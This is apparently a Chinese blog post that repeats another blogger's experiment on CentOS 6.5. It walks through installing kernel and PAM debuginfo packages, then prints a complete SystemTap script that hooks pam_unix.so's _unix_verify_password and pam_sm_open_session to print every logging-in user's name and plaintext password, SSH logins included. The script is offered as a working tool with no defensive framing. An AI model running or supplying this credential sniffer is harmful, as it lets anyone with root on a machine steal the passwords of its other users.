本文章是来源于老徐的博客,原文链接为:http://laoxu.blog.51cto.com/4120547/1331878。
无意之中看到老徐的这篇文章,小白觉得很好玩,就按照老徐的步骤及方法重新来了一遍。的确很强大,故又完全按照老徐的步骤在自己的机器上把玩一下,以记录之。
小白的测试环境:
操作系统:CentOS 6.5 64bit
内核版本:2.6.32-573.8.1.el6.x86_64
由于老徐的文章中,先使用“yum update”更新了系统的RPM包,我没有更新,遇到了问题。系统提示“mismatch (2.6.32-431.el6.x86_64 2.6.32-573.8.1.el6.x86_64)”。然后,检查了一下/lib/modules/目录下的文件,发现只有2.6.32-431.el6.x86_64。那就是缺少了2.6.32-573.8.1.el6.x86_64的内核包了,于是升级了系统的RPM包,问题解决之。
在老徐的文章中,又指出,要安装与pam_unix.so相关的debuginfo包,我没有进行安装,也是出了问题,故安装了相关的debuginfo的RPM包。“debuginfo-install $(rpm -qf /lib64/security/pam_unix.so)”
1
2
3
4
5
6
7
8
9
10
|
# debuginfo-install $(rpm -qf /lib64/security/pam_unix.so)
# 这一步安装了与pam相关的调试包,主要安装了如下包:
# audit-debuginfo
# cracklib-debuginfo
# db4-debuginfo
# glibc-debuginfo
# libselinux-debuginfo
# pam-debuginfo
# yum-plugin-auto-update-debug-info
# glibc-debuginfo-common
|
有了上面的基础工作,才可以进行下面的操作啊,有的网友也是使用了64位的操作系统,但是没有做成功,我觉得完全是个人的原因,出现了问题自己不去解决,只会寻求帮助。
下面是老徐的stap脚本,内容如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
[root@python unix]
# cat capture_pass.tap
#!/usr/bin/stap
global username, pass, isSuccRet = 1;
probe process(
"/lib64/security/pam_unix.so"
).
function
(
"_unix_verify_password"
)
{
username = user_string($name);
pass = user_string($p);
}
probe process(
"/lib64/security/pam_unix.so"
).
function
(
"_unix_verify_password"
).
return
{
if
($
return
== 0)
{
printf
(
"User: %s\nPassword: %s\n\n"
, username, pass);
isSuccRet = 0;
}
}
probe process(
"/lib64/security/pam_unix.so"
).
function
(
"pam_sm_open_session"
)
{
if
(isSuccRet != 0)
{
printf
(
"Login via ssh service.\n\User: %s\nPassword: %s\n\n"
, username, pass);
}
isSuccRet = 1;
}
|
就把/lib/security/pam_unix.so改成了/lib64/security/pam_unix.so。
接下来就可以测试了。来看个图吧,步骤都写在图里了:
运用的原理是:主要是对PAM模块pam_unix.so库文件的函数调用进行捕获,因为用户登录认证需要使用pam_unix.so库文件。